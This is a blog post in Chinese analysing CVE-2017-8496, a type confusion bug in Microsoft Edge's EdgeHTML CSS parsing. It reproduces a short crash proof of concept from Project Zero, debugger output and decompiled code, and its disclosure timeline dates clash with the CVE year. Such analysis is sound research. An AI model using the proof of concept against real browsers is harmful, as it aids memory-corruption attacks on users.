• 主页
友链

  • 主页

CVE-2017-8496 Edge Type confusion

2017-08-14

1. Vulnerability Description

1.1 The Issue

崩溃发生在CAttrArray::PrivateFindInl函数中。 在函数中rcx(this)指针应该指向一个CAttrArray,但它实际上指向一个CAttribute。
CAttrArray::PrivateFindInl只会执行读取操作,其返回值将被调用函数(CAttrArray::SetParsed)抛弃。

1.2 Affect version

Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198)
Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.

1.3 Timeline

01/12/2016 Advisory disclosed
01/12/2016 +0 days Countermeasure disclosed
01/12/2016 +0 days SecurityTracker entry created
01/12/2016 +0 days VulnerabilityCenter entry assigned
01/13/2016 +1 days VulnerabilityCenter entry created
01/14/2016 +1 days VulDB entry created
01/17/2016 +3 days VulnerabilityCenter entry updated
01/19/2016 +2 days VulDB last update

2. Technical description and PoC

2.1 Crash

从Google Project Zero的报告中获取的PoC如下

1
2
3
4
5
6
7
8
9
<!-- saved from url=(0014)about:internet -->
<script>
function go() {
window.addEventListener("DOMAttrModified", undefined);
m.style.cssText = "clip-path: url(#foo);";
}
</script>
<body onload=go()>
<meter id="m" value="a" frame="below">

WinDBG attach到Edge上,运行PoC,发现Crash(注:这里用了一款Edge专用的辅助Debug的工具,可以比较方便的在命令行直接attach到进程上。)

1
2
edgehtml!CAttrArray::PrivateFindInl+0xd6:
00007ffa`3b9e04b6 41f644d00380 test byte ptr [r8+rdx*8+3],80h ds:00000003`0005ffbe=??

可以看出,这里是引用了一个无效的指针,此时的调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
1:048> k
# Child-SP RetAddr Call Site
00 00000013`84bfad60 00007ffa`3bbaccc9 edgehtml!CAttrArray::PrivateFindInl+0xd6
01 00000013`84bfad90 00007ffa`3bb1a68b edgehtml!CAttrArray::SetParsed+0x49
02 00000013`84bfae00 00007ffa`3bb1c40c edgehtml!CssParser::RecordProperty+0x24b
03 00000013`84bfae70 00007ffa`3bb1b10c edgehtml!CssParser::HandleSingleDeclaration+0x21c
04 00000013`84bfaef0 00007ffa`3bae026b edgehtml!CssParser::HandleDeclaration+0x9c
05 00000013`84bfaf20 00007ffa`3badedaa edgehtml!CssParser::Write+0x3b
06 00000013`84bfaf60 00007ffa`3b93165c edgehtml!ProcessCSSText+0x112
07 00000013`84bfafe0 00007ffa`3b94aae3 edgehtml!CStyle::SetCssText+0xbc
08 00000013`84bfb020 00007ffa`3bc2ed85 edgehtml!CFastDOM::CCSSStyleDeclaration::Trampoline_Set_cssText+0x77
09 00000013`84bfb070 00007ffa`3af6c35b edgehtml!CFastDOM::CCSSStyleDeclaration::Profiler_Set_cssText+0x25
0a 00000013`84bfb0a0 00007ffa`3af34460 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x16b
0b 00000013`84bfb180 00007ffa`3aed6d09 chakra!Js::LeaveScriptObject<1,1,0>::LeaveScriptObject<1,1,0>+0x180
0c 00000013`84bfb1d0 00007ffa`3aed44ae chakra!Js::JavascriptOperators::CallSetter+0xa9
0d 00000013`84bfb270 00007ffa`3aed4be2 chakra!Js::JavascriptOperators::SetProperty_Internal<0>+0x4de
0e 00000013`84bfb330 00007ffa`3aed4b1f chakra!Js::JavascriptOperators::OP_SetProperty+0xa2
0f 00000013`84bfb380 00007ffa`3af8c1fb chakra!Js::JavascriptOperators::PatchPutValueWithThisPtrNoFastPath+0x9f
10 00000013`84bfb400 00007ffa`3aec1ca0 chakra!Js::ProfilingHelpers::ProfiledStFld<0>+0x1cb
11 00000013`84bfb4d0 00007ffa`3aec6a50 chakra!Js::InterpreterStackFrame::OP_ProfiledSetProperty<Js::OpLayoutT_ElementCP<Js::LayoutSizePolicy<0> > const >+0x70
12 00000013`84bfb520 00007ffa`3aec4aa2 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x340
13 00000013`84bfb5b0 00007ffa`3aec8b5e chakra!Js::InterpreterStackFrame::Process+0x142
14 00000013`84bfb610 00007ffa`3aeca265 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x48e
15 00000013`84bfb950 00000176`dcdc0fb2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
16 00000013`84bfb9a0 00007ffa`3aff1393 0x00000176`dcdc0fb2
17 00000013`84bfb9d0 00007ffa`3aebd873 chakra!amd64_CallFunction+0x93
18 00000013`84bfba20 00007ffa`3aec0490 chakra!Js::JavascriptFunction::CallFunction<1>+0x83
19 00000013`84bfba80 00007ffa`3aec4f4d chakra!Js::InterpreterStackFrame::OP_CallI<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<0> > > >+0x110
1a 00000013`84bfbad0 00007ffa`3aec4b07 chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d
1b 00000013`84bfbb60 00007ffa`3aec8b5e chakra!Js::InterpreterStackFrame::Process+0x1a7
1c 00000013`84bfbbc0 00007ffa`3aeca265 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x48e
1d 00000013`84bfbf00 00000176`dcdc0fba chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
1e 00000013`84bfbf50 00007ffa`3aff1393 0x00000176`dcdc0fba
1f 00000013`84bfbf80 00007ffa`3aebd873 chakra!amd64_CallFunction+0x93
20 00000013`84bfbfd0 00007ffa`3af2c2ec chakra!Js::JavascriptFunction::CallFunction<1>+0x83
21 00000013`84bfc030 00007ffa`3af2b8b6 chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x104
22 00000013`84bfc120 00007ffa`3afd6259 chakra!Js::JavascriptFunction::CallRootFunction+0x4a
23 00000013`84bfc190 00007ffa`3af31d41 chakra!ScriptSite::CallRootFunction+0xb5
24 00000013`84bfc230 00007ffa`3af2d8fc chakra!ScriptSite::Execute+0x131
25 00000013`84bfc2c0 00007ffa`3bb3278d chakra!ScriptEngineBase::Execute+0xcc
26 00000013`84bfc360 00007ffa`3bb326d8 edgehtml!CJScript9Holder::ExecuteCallbackDirect+0x3d
27 00000013`84bfc3b0 00007ffa`3bb431f7 edgehtml!CJScript9Holder::ExecuteCallback+0x18
28 00000013`84bfc3f0 00007ffa`3bb42fe7 edgehtml!CListenerDispatch::InvokeVar+0x1fb
29 00000013`84bfc570 00007ffa`3bb310da edgehtml!CListenerDispatch::Invoke+0xdb
2a 00000013`84bfc5f0 00007ffa`3bbc1602 edgehtml!CEventMgr::_InvokeListeners+0x2ca
2b 00000013`84bfc750 00007ffa`3ba9a495 edgehtml!CEventMgr::_InvokeListenersOnWindow+0x66
2c 00000013`84bfc780 00007ffa`3ba99f23 edgehtml!CEventMgr::Dispatch+0x405
2d 00000013`84bfca50 00007ffa`3bad00c2 edgehtml!CEventMgr::DispatchEvent+0x73
2e 00000013`84bfcaa0 00007ffa`3bb0296a edgehtml!COmWindowProxy::Fire_onload+0x14e
2f 00000013`84bfcbb0 00007ffa`3bb01596 edgehtml!CMarkup::OnLoadStatusDone+0x376
30 00000013`84bfcc70 00007ffa`3bb46d7f edgehtml!CMarkup::OnLoadStatus+0x112
31 00000013`84bfcca0 00007ffa`3bb2859d edgehtml!CProgSink::DoUpdate+0x3af
32 00000013`84bfd130 00007ffa`3bb29d70 edgehtml!GlobalWndOnMethodCall+0x24d
33 00000013`84bfd230 00007ffa`593e1c24 edgehtml!GlobalWndProc+0x130
34 00000013`84bfd2f0 00007ffa`593e156c user32!UserCallWinProcCheckWow+0x274
35 00000013`84bfd450 00007ffa`380ec781 user32!DispatchMessageWorker+0x1ac
36 00000013`84bfd4d0 00007ffa`380eec41 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1
37 00000013`84bff720 00007ffa`4f7b9266 EdgeContent!LCIETab_ThreadProc+0x2c1
38 00000013`84bff840 00007ffa`59d98364 iertutil!SettingStore::CSettingsBroker::SetValue+0x246
39 00000013`84bff870 00007ffa`59f55e91 KERNEL32!BaseThreadInitThunk+0x14
3a 00000013`84bff8a0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

寄存器的值如下

1
2
3
4
5
6
7
8
9
1:048> r
rax=0000000000003ffd rbx=0000000000000002 rcx=00000176d9804cf0
rdx=000000000000bff7 rsi=0000000000003ffd rdi=0000000000000000
rip=00007ffa3b9e04b6 rsp=0000001384bfad60 rbp=0000000000000002
r8=0000000300000003 r9=00000000800114a4 r10=0000000000000000
r11=0000000000007ffa r12=00000176d9a9c680 r13=00000176d9734b01
r14=00000176d9804c88 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202

在ida中查看相关的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
int __fastcall CAttrArray::PrivateFindInl(__int64 this, int a2, signed int CAttrValue__AATYPE)
{
signed int v3; // edi@1
signed int v4; // er10@1
int v5; // er9@1
__int64 this_add_4; // r11@4
__int64 this_add_8; // r8@4
signed int v8; // ebx@4
unsigned __int64 v9; // rax@7
signed __int64 v10; // rdx@7
unsigned __int64 v11; // r11@8
int v12; // ecx@10
signed int v13; // ecx@16
__int64 v14; // rsi@22
int v15; // ecx@23
signed int v16; // ecx@34
signed int v17; // esi@38
signed __int64 v18; // rdx@38
int v19; // ecx@40
int v21; // [sp+38h] [bp+10h]@20

v3 = 0;
v4 = CAttrValue__AATYPE;
v5 = a2;
if ( CAttrValue__AATYPE == 6 )
v4 = 0;
if ( a2 == -1 )
{
v21 = -1;
LODWORD(v9) = CAttrArray::PrivateFindLinear(this, (unsigned int)v4, &v21, 0xFFFFFFFFi64);
}
else
{
this_add_4 = *(_DWORD *)(this + 4);
this_add_8 = *(_QWORD *)(this + 8);
v8 = 2;
if ( v4 > 2 )
v8 = v4;
if ( (signed int)this_add_4 < 11 )
{
v9 = *(_QWORD *)(this + 8);
v10 = 3 * this_add_4;
goto LABEL_8;
}
if ( (signed int)this_add_4 > 0 )
{
while ( 1 )
{
v14 = ((signed int)this_add_4 + v3) / 2;
v9 = this_add_8 + 24 * v14;
if ( *(_BYTE *)(this_add_8 + 24 * v14 + 3) & 0x80 )// vuln
v15 = *(_DWORD *)(v9 + 8);
else
v15 = *(_DWORD *)(*(_QWORD *)(v9 + 8) + 48i64);
if ( a2 < v15 )
{
LODWORD(this_add_4) = ((signed int)this_add_4 + v3) / 2;
goto LABEL_26;
}
if ( a2 > v15 )
goto LABEL_30;
v16 = *(_BYTE *)v9;
if ( v4 == v16 )
return v9;
if ( v8 >= v16 )
break;
LODWORD(this_add_4) = ((signed int)this_add_4 + v3) / 2;
LABEL_26:
if ( (signed int)this_add_4 - v3 < 10 )
{
v9 = this_add_8 + 24i64 * v3;
goto LABEL_28;
}
if ( v3 >= (signed int)this_add_4 )
goto LABEL_19;
}
if ( v8 == 2i64 )
{
v17 = v14 - 1;
v18 = v9 - 24;
if ( v17 >= v3 )
{
while ( 1 )
{
v19 = *(_BYTE *)(v18 + 3) & 0x80 ? *(_DWORD *)(v18 + 8) : *(_DWORD *)(*(_QWORD *)(v18 + 8) + 48i64);
if ( v5 != v19 )
break;
if ( v4 == *(_BYTE *)v18 )
{
LODWORD(v9) = v18;
return v9;
}
if ( v17 != v3 )
{
v18 -= 24i64;
if ( --v17 >= v3 )
continue;
}
break;
}
}
LABEL_28:
v10 = 3i64 * (signed int)this_add_4;
LABEL_8:
v11 = this_add_8 + 8 * v10;
if ( v9 < v11 )
{
while ( 1 )
{
if ( *(_BYTE *)(v9 + 3) & 0x80 )
v12 = *(_DWORD *)(v9 + 8);
else
v12 = *(_DWORD *)(*(_QWORD *)(v9 + 8) + 48i64);
if ( v12 >= v5 )
{
if ( v12 != v5 )
goto LABEL_19;
v13 = *(_BYTE *)v9;
if ( v13 == v4 )
return v9;
if ( v13 > v8 )
goto LABEL_19;
}
v9 += 24i64;
if ( v9 >= v11 )
goto LABEL_19;
}
}
goto LABEL_19;
}
LABEL_30:
v3 = v14 + 1;
goto LABEL_26;
}
LABEL_19:
LODWORD(v9) = 0;
}
return v9;
}

其中引发问题的指令是

1
if ( *(_BYTE *)(this_add_8 + 24 * v14 + 3) & 0x80 )

其中this_add_8变量对应的是 rcx+8

那么先查看下rcx的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1:048> dps rcx
00000176`d9804cf0 00007ffa`3c562d38 edgehtml!CAttribute::`vftable'
00000176`d9804cf8 00000003`00000003
00000176`d9804d00 00000000`00000008
00000176`d9804d08 00000000`00000000
00000176`d9804d10 00000000`00000000
00000176`d9804d18 00000176`dcc18150
00000176`d9804d20 00007ffa`3c55fae0 edgehtml!s_propdescCElementstyle_Str
00000176`d9804d28 00000000`800103eb
00000176`d9804d30 00000176`d9a742f4
00000176`d9804d38 00000000`00000000
00000176`d9804d40 00000000`00000000
00000176`d9804d48 00000000`00000000
00000176`d9804d50 00000176`d9828500
00000176`d9804d58 00000176`d98a8580
00000176`d9804d60 00000176`d9850c00
00000176`d9804d68 00000176`d983c330

这里rcx是this指针,在CAttrArray::PrivateFindInl这个类的函数中应该是一个CAttrArray对象的this指针,可是这里rcx存了一个CAttribute的虚表对象,也就是说,在之前有一个错误的调用。

那么根据调用栈继续上溯,我们可以看到CAttrArray::SetParsed函数,调用PrivateFindInl的代码如下

1
2
3
4
5
6
if ( v6 || (v8 = *a1) == 0i64 || (LODWORD(v9) = CAttrArray::PrivateFindInl((__int64)v8, a2, 0), !v9) )
{
v11 = v4;
v10 = 31;
CAttrArray::Set(v7, (unsigned int)v5, &v10, 0i64);
}

也就是说这里如果该函数返回错误的值,那么CAttrArray::Set将不会执行。

继续向上回溯,查看CssParser::RecordProperty函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
void __fastcall CssParser::RecordProperty(CssParser *this, struct CssTokenizer *a2, __int32 a3, char a4, bool a5)
{
char v5; // si@1
__int32 v6; // edi@1
struct CssTokenizer *v7; // r14@1
CssParser *v8; // rbp@1
CBase *v9; // rcx@3
char v10; // bl@4
bool v11; // r15@4
bool v12; // al@6
char v13; // r13@9
unsigned __int8 v14; // bl@10
MemoryProtection *v15; // rsi@11
const unsigned __int16 *v16; // r12@11
__int32 v17; // er8@13
__int64 v18; // rcx@18
const unsigned __int16 *v19; // rdi@18
unsigned __int64 v20; // rsi@18
__int64 v21; // rax@18
__int16 v22; // ax@24
unsigned __int64 v23; // r14@30
signed __int64 v24; // r14@31
const struct PROPERTYDESC *v25; // rax@37
int v26; // er10@37
CDoc *v27; // rax@44
const unsigned __int16 *v28; // rdx@51
unsigned __int16 *v29[2]; // [sp+20h] [bp-48h]@4
__int64 v30; // [sp+30h] [bp-38h]@4
__int32 v31; // [sp+80h] [bp+18h]@1

v31 = a3;
v5 = a4;
v6 = a3;
v7 = a2;
v8 = this;
if ( *((_UNKNOWN **)this + 22) == &CCSSStyleDeclaration::s_apHdlDescs && *((_QWORD *)this + 2) )
{
v9 = (CBase *)*((_QWORD *)this + 23);
if ( !v9 )
{
LABEL_4:
v10 = 0;
v30 = 0i64;
_mm_storeu_si128((__m128i *)v29, 0i64);
v11 = v6 == -1;
v12 = v5 || v11;
if ( a5 || v12 )
{
v13 = 1;
if ( v12 )
v10 = -128;
}
else
{
v13 = 0;
}
v14 = v10 | 8;
if ( !v13 )
{
LABEL_11:
v15 = (MemoryProtection *)v29[0];
v16 = &g_szEmpty;
if ( v11 )
{
if ( v29[0] )
v28 = v29[0];
else
v28 = &g_szEmpty;
if ( CssParser::GetExpandoDispID(v8, v28, &v31) )
{
LABEL_15:
if ( v15 )
MemoryProtection::HeapFree(v15, (void *)a2);
return;
}
v6 = v31;
}
if ( v6 != -1 )
{
v17 = *((_DWORD *)v8 + 7) + 1;
if ( (unsigned int)v17 > *((_DWORD *)v8 + 6) >> 2 )
{
if ( v17 < 0 )
{
Abandonment::InvalidArguments();
JUMPOUT(*(_QWORD *)&byte_18042A78B);
}
CImplAry::EnsureSizeWorker((CssParser *)((char *)v8 + 24), 4ui64, v17);
}
*(_DWORD *)(*((_QWORD *)v8 + 4) + 4i64 * (*((_DWORD *)v8 + 7))++) = v6;
if ( v13 )
{
if ( v11 )
{
CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v31, &pwzURI, v14);
}
else
{
v25 = GetStandardPropDescFromAliasDISPID(v31);
if ( v25 )
v26 = *((_DWORD *)v25 + 12);
if ( v15 )
v16 = (const unsigned __int16 *)v15;
CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v26, v16, v14);
}
}
}
goto LABEL_15;
}
v18 = *((_QWORD *)v7 + 1);
v19 = (const unsigned __int16 *)*((_QWORD *)v7 + 5);
v20 = v18 + 2i64 * *((_DWORD *)v7 + 5);
v21 = *((_DWORD *)v7 + 4);
if ( v20 > v18 + 2 * v21 )
v20 = v18 + 2 * v21;
if ( !v11 )
{
if ( (unsigned __int64)v19 >= v20 )
{
LABEL_31:
v24 = (signed __int64)(v20 - (_QWORD)v19) >> 1;
if ( !v11 && (unsigned int)v24 >= 0xA && !StrCmpNICW(v20 - 20, L"!important", 10i64) )
{
LODWORD(v24) = v24 - 10;
v14 |= 2u;
}
CBuffer::Append((CBuffer *)v29, v19, v24);
CBuffer::TrimTrailingWhitespace((CBuffer *)v29);
v6 = v31;
goto LABEL_11;
}
if ( 58 == *v19 )
++v19;
v22 = *(_WORD *)(v20 - 2);
if ( v22 == 59 || !v22 || v22 == 125 )
v20 -= 2i64;
}
if ( (unsigned __int64)v19 < v20 )
{
while ( IsCharSpaceW(*v19) )
{
++v19;
if ( (unsigned __int64)v19 >= v20 )
goto LABEL_31;
}
if ( (unsigned __int64)v19 < v20 )
{
do
{
v23 = v20 - 2;
if ( !IsCharSpaceW(*(_WORD *)(v20 - 2)) )
break;
v20 -= 2i64;
}
while ( (unsigned __int64)v19 < v23 );
}
}
goto LABEL_31;
}
v27 = CBase::GetCDoc(v9);
if ( !v27 || CDoc::CheckCSSDiagnosticsAvailability(v27) )
{
v6 = v31;
goto LABEL_4;
}
}
}

CAttrArray::SetParsed的调用在下面两句:

1
CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v31, &pwzURI, v14);
1
CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v26, v16, v14);

这里v8是this指针,也就是说在这里发生了一次错误的调用,本来应该传入的是CAttrArray,但是传入了一个CAttribute,造成了Type confusion

3. References

1. project-zero

2. nvd

3. cve

4. seebug

  • CVE
  • Misc

扫一扫,分享到微信

微信分享二维码
Domato - A DOM Fuzzer
CVE-2016-0003 Edge Type Confusion
© 2024 Lyle
Hexo Theme Yilia by Litten
  • 友链
  • rebirth